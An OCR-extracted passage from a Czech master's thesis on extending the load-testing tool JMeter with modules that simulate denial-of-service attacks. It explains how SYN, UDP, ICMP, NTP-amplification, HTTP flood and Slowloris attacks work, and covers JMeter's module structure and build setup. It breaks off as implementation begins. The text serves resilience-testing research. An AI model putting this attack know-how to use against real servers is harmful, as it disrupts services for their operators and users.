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ABSTRAKT

Tato diplomova prace pojednava o nastroji JMeter a jeho moznostech rozsifeni o mo-
duly provadéjici kybernetické Gtoky typu odepteni sluzby (DoS - Denial of service). Na
tvod je v praci uveden teoreticky prehled o kybernetickych dtocich tohoto typu. Na-
sleduje kapitola zabivajici se nastrojem JMeter, konkrétné jeho funkcemi a moznostmi
rozsireni. Poté je jiz pfistoupeno k samotnému navrhu a implementaci modull. Nejprve
je realizovan atok HTTP Flood, ktery vuziva vnitini funkce programu JMeter. Tento
novy modul je otestovan. Dalsi kapitola se vénuje implementaci moduld, vyuzivajicich
externiho generatoru. Modul pro dtok SYN Flood, ICMP Flood a NTP Flood vyuzivaji
nastroje Trafgen. Modul pro Gtok Slowloris vyuziva, jako externiho generatoru, skrip v
jazyce Python. Nové vytvorené moduly jsou na zavér otestovany.

KLICOVA SLOVA
DoS, DDoS, JMeter, utok, zaplava, Trafgen, HTTP, SYN, ICMP, NTP, Slowloris

ABSTRACT

This thesis discusses the load testing tool JMeter and its opportunities for expansion
by modules carrying out cyber attacks of the type Denial of Service (DoS). To begin
with, there is a theoretical overview of cyber attacks of this type. The following chapter,
talks about the JMeter tool, namely its functions and expansion options. After that, it is
proceeded to the actual design and realization of the modules. The module implementing
the attack HTTP Flood is created first. This module uses internal functions of the
program JMeter. This new module is tested. Next chapter folows the procedure of
creating modules, that use external generator of network traffic. Modules SYN Flood,
ICMP Flood and NTP Flood are implemented using the generator Trafgen. Module
implementing attack Slowloris uses a Python script as a generator of the attack. Finally,
all the new modules are tested.
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UVOD

Problém bezpecnosti internetu a pocitacovych siti obecné je v dnesni dobé vaznym
tématem, vzhledem k jejich masovému vyuzivani, at uz béznymi uzivateli, tak i
firmami a organizacemi. Internet je zalozeny na modelu TCP/IP, ktery v sobé ob-
sahuje bezpecnostni nedostatky, coz napomohlo vzniku kybernetickych ttok1, jenz
tyto slabiny vyuzivaji.

Jednou ze stézejnich vlastnosti siti, tykajici se jejich bezpecnosti, je dostupnost.
Kybernetické ttoky snazici se narusit dostupnost sluzeb a pocitacovych systému
se nazyvaji DoS (Denial of service) (Cesky odepreni sluzby). Naruseni dostupnosti
internetovych sluzeb ¢i pocitacovych systémii, pomoci kybernetickych ttoki, mitze
mit vazné dusledky pro jejich provozovatele (finanéni ztraty, poskozeni reputace,
atd.), bézné uzivatele a dalsi systémy, které jsou na téchto sluzbach zavislé. Toto
riziko nuti provozovatele téchto sluzeb k rozvoji a testovani odolnosti jejich produktii
proti kybernetickym ttoktim typu odepteni sluzby.

Program JMeter je volné dostupny open source nastroj, slouzici pro zatézovému
testovani serverti. Umoznujé sestavit testovaci plan, ktery je schopen vystavit cil
nékolika typtim zatézé soucasné. Tento program je tedy dobrou platformou pro uce-
leny testovaci nastroj, schopny provérit odolnost testovaného obejktu proti rtiznym
druhtim kybernetickych ttokt typu odepreni sluzby a jejich kombinaci.

Tato diplomova préace se vénuje rozsiteni nastroje JMeter o moduly, které budou
simulovat znamé utoky typu Denial of Service. Cilem diplomové prace je prostudovat
nastroj JMeter a jeho moznosti rozsiteni o tyto moduly. Déale pak navrhnout a
realizovat implemetaci atoku HTTP Flood, SYN Flood, ICMP Flood, NTP Flood
Slowloris a univerzalniho modulu. Déale otestovat funkci téchto modult a provést

jejich vykonnostni analyzu.
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1 KYBERNETICKE UTOKY TYPU ODEPRENI
SLUZBY

Cilem prace je vytvorit moduly do nastroje JMeter, které budou schopny genero-
vat utoky cilené na odepteni sluzby (anglicky Denial of Service (DoS)). Odepfeni
sluzby je kyberneticky ttok, kdy se ito¢nik snazi uvést cilovou stanici ¢ sitové pro-
sttedky do stavu nedostupného pro ostatni uzivatele. Obecny princip ttoku spociva
v zahlceni cilové stanice ¢i sluzby velkym mnozstvim provozu, az dojde k vycerpani
systémovych prostiedkil, pretizeni systému a tedy blokovani ostatnich uzivateli od
vyuzivani cilené sluzby. V této kapitole jsou jednotlivé typy téchto itokt blize roze-

brany véetné jejich principu.

1.1 Déleni DoS utoku

1.1.1 Dle druhu atoku

TTi zakladni druhy DoS ttoki definované organizaci CERT Coordination Center:

e zamérené na spotiebu sitovych ¢i systémovych omezenych a neobnovitelnych

zdroju,

o zamétrené na poskozeni ¢i manipulaci konfigurac¢nich informaci,

« zameérené na fyzické poskozeni ¢i zdménu sitovych komponentu [2].
Nejcastéji pouzivanym druhem DoS 1dtoku je pravé prvni varianta, ktera se zaméruje
na vycerpani systémovych a sitovych prostredku jako je kapacita pripojeni do sité,
vytizeni procesoru, paméti apod. Prace se dale zabyva touto variantou itoku a tedy
i vytvarené moduly pro néstroj JMeter maji za tkol realizovat ttoky na tomto

principu.

1.1.2 Dle cilenych zdroja

DoS ttoky, které se zaméruji na spotiebu omezenych a neobnovitelnych zdroji miu-
zeme dale délit na utoky, které jsou zaméreny na vycerpavani:

e systémovych zdroju,

o sitovych zdroju,

o aplikac¢nich zdroju.
Vycerpavani systémovych zdroja

Utoky, zamérujici se na vycCerpani systémovych prostiedki serveru, maji za kol

dosdhnout maximalniho vytiZeni procesoru ¢i paméti RAM, ¢imz dojde k odepreni
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sluzby pro ostatni uzivatele. Utoénik se snazi vyuzit zranitelnosti cileného serveru
(nebo slabiny spocivajici pfimo v komunika¢nim protokolu) za tcelem zaméstnat
server vybavovanim neligitimniho provozu tak, Ze jiz nezbudou prostredky pro vy-
baveni toho legitimniho. Cilem ttoku nemusi byt vzdy jen server (napf. webovy

server) ale i napr. zafizeni jako firewall, IPS apod. [10].
Vycerpavani sitovych zdroju

Tyto utoky se zameéruji na spotfebu veskeré kapacity sifového pripojeni obéti
(bandwidth), pomoci generovani velkého obejmu nelegitimniho provozu. Prestoze
se tento utok jevi v malém mnozstvi jako legitimni provoz, pti velkém mnozstvi je
schopen sit obéti zahltit. Pfipojeni uzivatele, pro kterého byla sluzba zamyslena,

bude zpomalené nebo dokonce zcela nemozné [10].
Vycerpavani aplikacénich zdroja

Utoky cilené na aplikaéni prostfedky posledni dobou vzrostly na popularité a
jsou dnes hojné vyuzivané utocniky. Nezaméruji se pouze na nejbéznéjsi protokol
HTTP (Hypertext Transfer Protocol), ale i na dalsi protokoly jako HTTPS, DNS,
SMTP, FTP, VOIP, a dalsi aplikacni protokoly u kterych je mozné vyuzit jejich
slabiny pro DoS ttok [10].

1.1.3 Dle rychlosti

DoS utoky lze dale délit podle jejich rychlosti poptipadé intezity jako:
o zaplavové tzv. ,floods®,

o pomalé tzv. ,low and slow“.

Zaplavovy tutok spociva v zaplaveni cile itoku obrovskym mnozstvim specific-
kého provozu, ¢imz je dosdahnuto pozadovaného odepreni sluzby. Tyto ttoky jsou
charakterizovany mnozstvym pakett za sekundu (pps), popripadé obejemem dato-
vého toku (Mbps).

U pomalého ,,low and slow “ titoku neni potieba velky objem provozu, nicméné
se jedna o specialzovany provoz, ktery utoci na slabiny néjcastéji aplikacniho pro-
tokolu. Vyuziva navazani TCP spojeni mezi utoénikem a jeho cilem, diky ¢emuz se
utok tvari jako legitimni provoz. Tyto ttoky je tedy slozité detekovat a potazmo se
jim bréanit [10].
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1.1.4 Jedno-zdrojovy a distribuovany ttok

P11 atoku odepfteni sluzby, mtze ttocnik vysilat skodlivy provoz z jedné stanice nebo
z vetstho mnozstvi stanic, které ma pod kontrolou. Kdyz utoc¢niktv skodlivy pro-
voz pochazi z jediné stanice, nazyvame utok single-source denial of service (SDoS)
attack. Naopak, kdyz utoénikovy skodlivé zpravy pochazeji z mnozstvi stanic roz-
prostfenych v siti, nazyvame ttok distributed denial of service (DDoS) attack.

DDoS tutok typicky vyuziva dvou komponent: agent (¢asto také oznacovan jako
,zombie“ nebo ,bot*), ktery bézi na kompromitované stanici a generuje skodlivé
zpravy; a handler, coz je program, ktery ovlada agenty a tika jim kdy, jak a na
koho zatutocit. Kolekce agentti neboli ,botti“, ktera je ovladana jednim itocnikem
se nazyva botnet. Princip DDoS 1toku je zobrazen na obrazku 1.1.

Obecné teceno, DDoS ttoky jsou vice efektivni nez SDoS ttoky, protoze rych-
lost ptipojeni, CPU a pamét jednotlivé stanice mtize jen tézko prekonat kombinované
zdroje stovek ¢i tisicovek kompromitovanych stanic. Z praxe je také dokazano, ze od-

vvvvvv

[10].

Handler Agent
(Kompromitovana stanice)

Rozkaz pro
agenty

Zadost

Zadost
Agent
(Kompromitovana stanice)

Utocnik

Z4dost:

% Cil utoku

Agent
(Kompromitovana stanice)

Obr. 1.1: Princip DDoS utoku.
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1.2 Jednotlivé typy DoS tutokt

1.2.1 SYN flood

Tento ttok vyuziva vrozené slabiny protokolu TCP. Soustredi se na zneuziti jednoho
z Sesti kontrolnich bitt, konkrétné priznak (anglicky flag) SYN, za tikolem naruseni
spravného mechanizmu TCP provozu.

TCP protokol ma spojity charakter, coz znamenad, ze musi dojit k sestaveni spo-
jeni mezi odesilatelem a prijemcem pred samotnym prenosem dat. Sestaveni tohoto
spojeni ma na starosti tzv. three-way handshake mechanizmus (SYN, SYN-ACK,
ACK), kde kazda zadost SYN vytvari polo-oteviené spojeni, ocekava odpovéd SYN-
ACK a nakonec zadatel potvrdi prijeti odpovédi pomoci priznaku ACK.

P1i utoku SYN flood, dtocnik (klient) odesila na server TCP zadosti s piznakem
SYN, jakoby se jednalo o legitimni provoz, nicméné zadosti obsahuji podvrzené a
neexistujici IP adresy. Server, na ktery je utok cilen, si pro vybaveni kazdé zadosti
SYN otevie nové vlakno a vyhradi prostredky ve vyrovnavaci paméti v ramci pti-
pravy na vlastni spojeni. Poté se server pokusi odeslat potvrzujici paket s priznakem
SYN-ACK zpét zadajicim klienttum, avSak protoze IP adresy klientii jsou podvrzené,
server se odpovédi s priznakem ACK nikdy nedocka. Server je tedy nucen udrzo-
vat oteviena vlakna a prostredky vyrovnavaci paméti pro kazdy pozadavek a déle
se pokousi o zasilani paketu SYN-ACK dokud nenastane vyprseni ¢asového limitu
pro zpracovani konkrétni zadosti. SYN flood tedy pomoci velkého mnozstvi téchto
zadosti, vycerpava omezené prostiedky serveru az k jeho zahlceni a tim nastava

odepfeni sluzby pro ostatni uzivatele [10].

SYN s podvrienou zdr. |P———
—SYN s podvrzenou zdr. IP———
\ ——SYN s podvrzenou zdr. [P————
: e
Utoénik K Cil utoku
SYN-A
C —

Obr. 1.2: Princip utoku SYN flood.
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1.2.2 UDP flood

User Datagram Protocol (UDP) je protokol nespojitého charakteru, tedy nevyzaduje
pro komunikaci sestaveni spojeni mezi stanicemi.

Utok UDP flood nezneuziva slabinu protokolu jako takového, ale spise bézného
chovani serveru v takovém rozmeéru, ze dojde k zahlceni cilené sité. Princip titoku
spociva v zasilani velkého obému UDP datagramii s potencionalné podvrzenou IP
adresou na nahodné porty cileného serveru. Server pod tlakem velkého objemu pro-
vozu, neni schopen vybavit vSechny pozadavky a vyuzije veskeré své sitové pro-
sttedky odesilanim odpovédi pomoci paket protokolu ICMP , destination unrea-
chable “ (cil nedosazitelny), aby oznadmil zadateli, Ze na daném portu nenaslouchd
zadna aplikace.

Jakozto utok, ktery se snazi o vycerpani sitovych prostiedki, se jeho intenzita
vyjadiuje pomoci Mbps (objem datovaho provozu) a PPS (objem datového provozu

v paketech za sekundu) [10].

——UDP s podvrzenou zdr. IP a cil. portem——{

——UDP s podvrzZenou zdr. IP a cil. portem——3

——UDP s podvrzenou zdr. IP a cil. portem——3

. __—

% : . unYeaChab\e ——
h

— red _

~ dest ~
Utoénik ‘Cx:: gost ¢ ab:e Cil utoku
\C ab!
? p dest. unree”

Obr. 1.3: Princip ttoku UDP flood.

DNS zesileny ttok

DNS zesileny utok (DNS aplification attack) je podtypem utoku UDP flood,
ktery vyuziva chovani DNS serveru za tcelem zesileni tutoku. Jeho pricip je zalo-
zeny na podvrzeni své zdrojové IP adresy nebo adresy DNS resolveru za adresu cile
utoku, diky tomu jsou odpovédi z DNS serverti odesilany k obéti itoku. DNS dotazy
(vyuzivajici protokol UDP) odesilané itoénikem se zaméruji na internetové domény,
které jsou registrovany s velkym mnozstvim DNS zdznamt. Vysledkem téchto akei
je, ze cil utoku je zahlcovan velkym mnozstvi objemnych DNS odpovédi, ¢imz je

docileno vycerpani sitovych prostiedki obéti a tim padem odepieni sluzby. [3]
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1.2.3 HTTP flood

HTTP flood je nejbéznejsim zastupcem tutoki, které jsou zamarené na vycerpani
aplikac¢nich prostredkii. Jedna se o sofistikovany ttok na aplikac¢ni vrstvé, ktery
odesila legitimnich dotaztt HTTP GET ¢i POST mitenych na webovou stranku
serveru, ¢imz se stava jeho detekce a obrana proti nému slozitou.

HTTP GET Zadost slouzi ke stazeni klasického statického obsahu, jako napriklad
obrazky, kdezto POST zadosti jsou naopak vyuzivany k ziskani pristupu k dyna-
micky generovanym aplikaénim zdrojim serveru. HT'TP flood zpravidla vyuziva k
utoku sit botnet (DDoS 1tok viz kapitola 1.1.4), kde stanice ve stejny okamzik a opa-
kované odesilaji HT'TP zadosti. Tim dojde k zahlceni webového serveru a vycerpani
jeho aplikacnich prostredkt a tim padém k samotnému odepfeni sluzby ostatnim
uzivateltim.

Utok doséhne nejvétsi efektivity, pokud piinuti server nebo aplikaci k p¥ifazeni
co nejvétstho mnozstvi zdroji pro kazdy z dotazt.

Z tohoto dtvodu jsou utoky vyuzivajici POST zadosti z pravidla efektivnéjsi, pro-
toze mohou obsahovat parametry, které spusti komplexni operace na strané serveru,
narocné na procesni vykon. Na druhou stranu ttoky zalozené na GET zZadostech
jsou snadnéji proveditelné a jejich efektivita se muze zvysovat 1épe s velikosti sité
botnet.

Vyhodou ttoku HTTP flood je, Ze vyzaduje nizsi rychlost pripojeni (bandwidth)

nez ostatni ttoky k tomu, aby dosahl odepfeni sluzby u cileného serveru [10] [9].

Legitimni uzivatel

HTTP GET

Rozkaz pro Handler

agenty HTTP GET

Webovy server

% N Obét ttoku

Utoénik

Obr. 1.4: Princip distribuovaného utoku HTTP flood.
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1.2.4 ICMP Flood

Znamy také jako ,Ping Flood“, jedna se o zaplavovy ttok, ktery pracuje na ctvrté
vrstvé ISO/OSI s protokolem ICMP.

Princip spoc¢iva v zahlceni obéti velkym mnozstvim ICMP pozadavkua (zprav),
nejcasteji Echo Request také znamy jako ,ping“. Obéf dtoku se snazi zpracovat
a odpovedét na vsechny ICMP zpravy, ¢imz dale prispiva k vycerpani kapacity
pripojeni. Nasledné tedy muze dojit k vycerpani jak sitovych tak i u slabsiho stroje
systémovych prostredki, ¢imz je dosazeno odepreni sluzby.

K tspésnému uskutecnéni tohoto titoku je zapotiebi aby tutocnik mél k dispozici
vétsi rychlost pripojeni nez obét. Velice vhodné je poté vyuziji distribouvaného ttoku

DDoS, ktery mé daleko vétsi sanci na stalé zahlceni prostfedku obéti [14].

1.2.5 NTP Flood

Taktéz nazyvany ,NTP amplification®, je zaplavovy tutok, ktery pracuje na apli-
kacni vrstvé a zneuziva protokolu pouzivaného ke synchronizaci casu Network Time
Protocol (NTP). Pro komunikaci pouziva UDP datagramy na portu 123.

Princip ttoku spociva zahlceni obéti odpovédmi NTP serveru na dotaz ,get
monlist“, ktery vraci seznam poslednich 600 uzivatell, ktefi se pripojili na dany
NTP server. Utocnik zasild tento dotaz na NTP server s podvrzenou zdrojovou IP
adresou pravé za adresu obéti.

Sila ttoku spociva pravé v dotazu ,get monlist®, protoze velikost odpovédi na
tento dotaz je 20 az 200 krat vétsi nez velikost samotného dotazu. To znamena, ze
utocnik, ktery ma pripojeni k internetu s rychlosti 1 Gb/s, je schopny vygenerovat
provoz teoreticky 20 az 200 Gb/s smérem k obéti. Timto tedy dojde k vycerpani

sitovych prostfedki obéti a k samotnému odepfeni sluzby [13].

1.2.6 Slowloris

Slowloris je utok typu odepreni sluzby, vyvinuty Robertem Hansenem (pod prezdiv-
kou RSnake). Jedné se o program, ktery umoznuje jedinému pocita¢i ispésné zne-
pistupnit webovy server ostatnim uzivatelim. Utok diky jednoduchému, chytrému
a elegantnimu Teseni vyzaduje pouze minimalni kapacitu pfipojeni a je soustredén
pouze na webovy server s minimalnim (az zanedbatelnym) dopadem na ostatni prvky
¢i sluzby v cesté“ ttoku. Zdroj [incapsula] uvadi, ze ttok Slowloris se prokazal byt
velice efektivnim a dosahl tspésného odepreni sluzby v pripadech nékolika vysoce
postavenych webovych serveri.

Princip utoku spociva v otevieni vetstho mnozstvi spojeni (soketil) s cilovym

webovym serverem a udrzovani tohoto spojeni po co nejdelsi dobu. Toho je docileno
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Obr. 1.5: Princip utoku NTP Flood.

pomoci opakovaného odesilani netiplnych HTTP pozadavki, které vSak nikdy nejsou
dokonceny. Webovy server musi udrzovat tato spojeni oteviena a stale otevirat spo-
jeni pro dali prichozi netiplné HTTP pozadavky, az nakonec dojde k vycerpani
kapacity otevienych spojeni, které je webovy server schopen obslouzit. Dalsi poza-
davky od legitimnich uZivateli tedy nemohou byt serverem pfijaty a dojde k jejich
odmitnuti a tedy i k odepreni sluzby.

Diky tomu, Ze se v pricipu odesilaji korektni, pouze netiplné pakety (oproti my-

slné zménénym), je velice slozité tento itok odhalit tradiénimi zpisoby detekce [15].

Neuplny HTTP Get poZadavek
l Neupiny HTTP Get poZadavek
S '
Dalsi ¢3st HTTP hlaviéky = Pro udrzeni otevieného spojeni
Utoénik Dalsi &ast HT -~ o er

TP hlavigky — _
W Web Server

Z

/i

Obr. 1.6: Princip utoku Slowloris.
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2 NASTROJ JMETER

Néstroj JMeter je open source program (s vefejné dostupnym zdrojovym kodem) od
spole¢nosti Apache, ktery slouzi k zatézovému testovani a méreni vykonu webovych
a jinych serveru. JMeter je vytvoren Cisté v jazyce JAVA a je tedy kompatibilni se
vSemi opera¢nimy systémy.

Apache JMeter slouzi k testovani jak statickych tak i dynamickych webovych
zdroji ( webové sluzby SOAP! /REST?, dynamické webové jazyky PHP, Java, apod.,
dédle pak Java objekty, databaze, FTP servery apod.). Program lze vyuzit k zate-
zovym testlim serveru, skupin servert, siti ¢i sifovych prvki a tim ovéreni jejich
odolnosti a analyze jejich vykonu pod rtznymi stupni zatizeni. Nastroj disponuje
grafickym uzivatelskym rozhranim, které slouzi jak k sestaveni testovactho planu,
tak i k vyobrazeni vysledkt testovani [1].

Apache JMeter (3.0.20161118) - o x

File Edit Search Run Options Help

Delaj°dE FEEID RN %) o W B mww oA 00 @
7 @ TestPlan
¢ & Thread Group FTP Request
* FTP Request| Name: [FTP Request J
~ View Results Tree Comments:
K] workgench Server Name or IP; | [Port Number:

Remote File: | |

Local File: | |

Local File Contents:
® get{RETR) ( put(STOR) [ |Use Binary mode ? [ |Save File in Response ?

Login Configuration
Username | |

Password | |

Obr. 2.1: Grafické rozhrani nastroje JMeter.

2.1 Prehled funkci

Struktura sestavovani testovaciho planu je tvorena nékolika zakladnimy prvky:
« Sampler (Cesky vzornik) — vytvari vzor pro tvorbu samotnych paketi,
« Logic controler (logicky kontrolér) — ovlada pofadi v jakém jsou zpracova-
vany jednotlivé samplery,

ISOAP (Simple Object Access Protocol) — piedpis pro vyménu strukturovanych informaci
2REST (Representational State Transfer)
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Config element (konfiguracni element) — slouzi k nastaveni defautlni konfi-
gurace a proménnych pro dalsi pouziti v samplerech,

Timer (¢asovac) — umoznuje ovladat test v case (pozastaveni, zvySeni intenzity
v uré¢itych momentech apod.),

Pre processor (Pred-zpracovani) — slouzi k upravé samplert pred jejich spus-
ténim v dané c¢asti testovaciho planu,

Post processor (Po-zpracovani) — aplikovan po probéhnuti samplert, umoz-
nuji uzivately filtrovat urcité informace z odpovédi serveru,

Assertions (tvrzeni, prohlaseni) — slouzi k validaci funkénosti testovani na
zakladé prijatych odpovédi oproti odeslanym dotaztim sampleru,

Listener (Naslouchac¢) — zobrazuje odpovéd serveru na dotaz a vysledky tes-

tovani.

Z nedostatku lepsiho vyrazu v ceském jazyce, bude nadale v praci vyuzivan

vyraz ,sampler“. Hlavnim komponentem je tedy sampler, ktery vykonava samotnou

praci programu. Kazdy sampler reprezentuje urcitou funkci néstroje, jako napriklad

odeslani HTTP pozadavku. V néstroji JMeter jsou standartné obsazeny tyto typy

samplert:

FTP pozadavek,

HTTP pozadavek,

JDBC pozadavek,

Java pozadavek,
SOAP/XML-RPC pozadavek,
LDAP pozadavek,

Access Log Sampler,
BeanShell Sampler,

BSF Sampler,

TCP Sampler,

JMS Publisher, Subsctiber, Point-to-point,
SMTP Sampler,

OS Process Sampler.

2.2 Moznosti rozsireni pomoci modula

Jednim z hlavnich cili autorti pii tvorbé nastroje JMeter, bylo vytvorit takovou

strukturu, kterd bude podporovat snadnou tvorbu moduli a tim umoznit co nej-

lepsi rist a vylepseni JMeteru.
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Modul vyuzivajici funkce jadra Jmeteru

JMeter disponuje vysoce rozsifitelnym jadrem a takovou strukturou, ktera umoz-
nuje vytvaret nové moduly, sestavajici se ze sampleri a podpurnych prvka zminé-
nych vise v textu. Tyto moduly si poté volaji metody z jadra programu a nemusi je
samy obsahovat. V samotném kodu JMeteru jsou zminény piiklady sampleri a je-
jich podptrnych ttid, které jsou jednoduchou sablonou pro tvorbu vlastniho modulu.

Detailnéji bude struktura programu popsana u samotné realizace modulu.
S vyuzitim externiho generatoru

Pokud nédm funkce z jadra JMeteru nestaci, dalsi moznosti je vyuzit externiho
generatoru sitového provozu, ktery je schopen vytvorit proud paketi ,na miru*
potfebam tutoku. Modul v nastroji JMeter potom zastava funkci prostrednika, kde
uzivatel pomoci grafického rozhrani zvoli parametry daného utoku, modul z téchto

parametru sestavi piikaz pro samotny generator, ktery tento ttok provede.
Generator sitového provozu Trafgen

Pro tvorbu moduli do néastroje JMeter, které budou vykonavat DoS tutoky, je
vhodné vyuziti externiho generatoru paketi, ktery je schopen generovat pakety upra-
vené na miru konkrétnimu ttoku.

Ing. P. Halaska ve své praci z minulého roku porovnaval dostupné generatory
sitovych provozii vhodné k DoS tdtokiim. Z jeho vyskumu vysel jako jasny vitéz
nastroj Trafgen, ktery mnohonésobné ptedcil své konkurenty v mnozstvi odeslanych
pakett za sekundu [7].

Trafgen je soucasti volné dostupné a open source sady Netsniff-NG pro OS Linux.
Jedné se o rychly vice-vlaknovy generator sitového provozu uréeny pro ladéni siti,
testovani vykonosti ale i tzv. fuzz-testing, coz je technika testovani programu, kde
jsou na jeho vstup dodavana chybna, nahodna ¢i neocekavana data. Trafgen dispo-
nuje textovym rozhranim a vlastnim vykonnym avsak nizko-uroviiovym konfigurac-
nim jazykem pro tvrobu paketii, ktery neni limitovan na uéity protokol.

Hlavni vyhodou nastroje trafgen je jeho vysoka vykonnost. Té je dosazeno vyuzi-
tim tzv. zero-copy modelu. Principem tohoto modelu je, ze jadro operac¢niho systému
(kernel) nemusi pri odesilani paketu odevzdavat jeho kopii z prostoru jadra do uzi-
vatelského prostoru a opacné. Nastroj také automaticky spousti tolik procesi, kolik
méa dané zafizeni procesnich jednotek, avsak je mozné i manudlni nastaveni jejich
poc¢tu. Diky tomuto se dosdhne nizsi rezije a lepsi efektivity vyuziti systémovych

zdroju zarizeni a tedy vysokého vykonu generdtoru [12].
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3 VYVOJ MODULU HTTP FLOOD

Hlavnim cilem diplomové préce je realizovat implementaci modult nékolika zastupcti
DoS utoku.

Tato kapitola je vénovana obecnym kroktim k vytvoreni vlastnitho modulu, imple-
mentaci modulu HTTP Flood, ktery vyuziva vntini funkce jadra programu JMeter
pro generovani paketi, a jeho testovani.

Nasledujici kapitola se poté vénuje itokum, které vyuzivaji externiho generatoru
sitového provozu.

Prvnim krokem k vyvoji nového modulu je nahrani zdrojového kédu JMeteru do

vyvojového prostiedi a porozuméni vnitini struktury programu JMeter.

3.1 Priprava do vyvojového prostredi

JMeter je implementovam zcela v jazyce Java. Jako vyvojové prostiedi je pouzit
Eclipse Neon.la nainstalovany na OS Linux distribuce CentOS 7.

Nejdiive je tieba z webu [1] stAhnout zdrojové soubory programu a rozbalit je do
slozky workspace vyvojového prostiedi Eclipse. Pro vyvoj je pouzita aktudlni verze
programu JMeter 3.0.

Daéle se vytvori novy Java projekt se stejnym nazvem jako je nazev rozbalené
slozky tedy apache-jmeter-3.0. Eclipse automaticky priradi soubory ze slozky k
novému projektu. Dalsim krokem je tzv. Build programu, coz znamenda compilaci
vsech jeho ¢asti a intalaci. Toho lze docilit pomoci téchto tikont:

» zobrazeni kompila¢niho nastroje Ant pomoci menu Window > Show View >

Ant,

o pridani kompila¢niho souboru Build.xml, ktery se nachazi v hlavni slozce JMe-
teru,

e 7 nové zobrazeného menu v compilatoru Ant je nejdiive potfeba spustit funkci
download__ jars, kterad se postara o stazeni dalsich potfebnych soubort pro
spravnou funkei JMeteru,

o spusténi funkce install default z menu Ant,

e nyni je uz mozno spustit samotny JMeter pomoci funkce run__gui.

P1i spousténi hlavni t¥idy programu NewDriver.java, kterd iniciuje spusténi ce-
lého programu, se po nainstalovani vyskytuje chyba:

Problém spociva v ¢asti kodu, ktery definuje absolutni cestu ke slozce projektu.
Z neznamého duvodu je proménna, ktera urcuje cestu k projektu definovana tak, ze

ziskava cestu k nadrazené slozce. Reseni je vyobrazeno ve vypisu 3.1.
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|#] Problems @ Javadoc [&, Declaration (E Console ERW@ Error Log = ¥

<terminated> MewDriver [Java Application] fusr/java/jdk1.8.0_101/binfjava (Dec 7, 2016, 8:32:45 PM)
java.lang.Throwable: Could not access /home/tester/workspace/lib
at org.apache.jmeter.NewDriver.<clinit=(NewDriver.java:100)
java. lang.Throwable: Could not access shome/tester/workspace/lib/ext
at org.apache.jmeter.MewDriver.<clinit=>(NewDriver.java:100)
java.lang.Throwable: Could not access shome/tester workspace/lib/junit
at org.apache. jmeter.MewDriver.=clinit=(NewDriver.java:100)|
FATAL_E 2016-12-07 20:32:45,633 [jmeter.J] (): An error occurred:
lava. lang.FuntimeException: Could not read JMeter properties file:/home/tester/workspace/bin/jmeter.properties
at org.apache.jmeter.util.JMeterUtils.loadlMeterProperties(JMeterttils. java:191)
at org.apache.jmeter.JMeter.initializeProperties(JMeter. java:671)
at org.apache.jmeter.JMeter.start(JMeter.java:385)
at sun.reflect.NativeMethodAccessorImpl.invokeO(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl. java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodfccessorimpl. java:43)
at java.lang.reflect.Method.inveoke(Method. java: 403)
at org.apache.jmeter.NewDriver.main(NewDriver.java:260)
An error occurred: Could not read JMeter properties file:/home/tester/workspace/bin/jmeter.properties

Obr. 3.1: Error ve tiidé NewDriver.java.

[# Package Explore 2 | Navigator = O

5 =
hd fﬁ apache-jmeter-3.0
¥ = JRE System Library [jdk1.8.0_101]
» (® src/components
b i src/core
b (& src/examples % Ant EZ] % 98 0 % E = 0o
¥ (# src/functions e g e

» @ generator_jar

¥ (& srcfjorphan
N o
¥ (# src/junit @® gqump-build
» (% src/monitor/components @® gump-test
» @ init-docs

(* src/monitor/model
» @ init-svnVersion

» @ init-version
install [default]

(# src/protocol/ftp

& src/protocol/http

(® src/protocol/java

» i -
(* src/protocol/jdbe @ install-examples

b @ junit

» @ junitreport

» @ maven_upload
@ nightly

» @ nightly-setup

» @ pack-dist

b @ pack-nightly

» pack-resources

(# src/protocolfjms

(# src/protocol/ldap

(# src/protocol/mail

(# src/protocol/mongodb

(# src/protocol/native

(# src/protocol/tcp
b i# test/src

» i® src/httpdos

» =\ Referenced Libraries » pack-src

» (® test/resources @ package

¥ = bin ‘ 2 - 7 || 2 =
(a) Struktura projektu. (b) Ant.

Obr. 3.2: Projekt JMeter v prostiedi Ecplise a kompilator Ant.

Vypis 3.1: Korekce cesty k projektu.

File userDir = new File(System.getProperty ("user.dir"));
// puvodni chybnd cesta je zakomentovdna
//tmpDir = userDir.getAbsoluteFile (). getParent ();
//spravnd cesta
tmpDir = userDir.getAbsolutePath ();

24



3.2 Struktura programu JMeter

JMeter se sklada z nékolika zdrojovych slozek, které je mozné logicky rozdélit do
dvou hlavnich skupin:
e jadro programu:
— src/components,
— src/core,
— src/function
— src/jorphan
— src/junit,
— test/src
— src/monitor/components

— src/monitor/model.

« protokoly neboli funkce programu, vyuzivajici abstraktnich t¥id z jadra pro-
gramu ke své funkei:
— src/protocol/ftp,
— src/protocol/http,
— src/protocol/java,
— src/protocol/jdbe,
— src/protocol/mail,
— src/protocol/mongodb.
— src/protocol /native,
— src/protocol/tep,

— src/examples.

3.2.1 Vytvoreni nového modulu

Ve slozce src/examples je k dispozici ukazka pro tvorbu jednoduchého modulu. Za-
kladem kazdého modulu jsou obecné minimalné 2 tiidy a to samotny Sampler. java
a SamplerGui.java. Trida Sampler rozsifuje tiidu AbstractSampler a podobné
tiida SamplerGui rozsifuje AbstractSamplerGui. Tim je docileno toho, Ze je mozné
se jiz zabyvat pouze funkci samotného modulu, zatimco funkce na pozadi a integrita

se zbytkem programu jsou jiz zajiStény.

Sampler.java
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Tato tfida vykonava hlavni praci modulu. Obsahuje proménné, objekty, a me-
tody, které za pomoci abstraktnich metod z jadra modulu provedou specificky tikon

dany funkci modulu.
SamplerGui.java

Ttida, kterd ma na starosti konstrukei grafického uzivatelského rozhrani modulu.

Predava vstupni parametry od uzivatele do sampleru.
Zakomponovani nového modulu

K vyvoreni a spusténi nového modulu v prosttedi JMeteru, je tieba skompilovat
vytvorené tiidy a exportovat je do souboru Modul.jar. Vlozenim tohoto .jar sou-
boru do slozky apache-jmeter-3.0/1ib/ext je zajisténo jeho nac¢téni pri spousténi

programu.

3.3 Realizace HTTP Flood modulu

Modul HTTP Flood je zalozen na jiz existujicim sampleru nastroje JMeter a to
HTTP Request. Jedna se jednoznacné o nejkomplikovanéjsi sampler v nastroji JMe-
ter, ktery obsahuje 14 balickt s celkové 119 tridami.

Prvnim krokem v realizaci modulu HTTP Flood je tedy prevzeti zdrojového
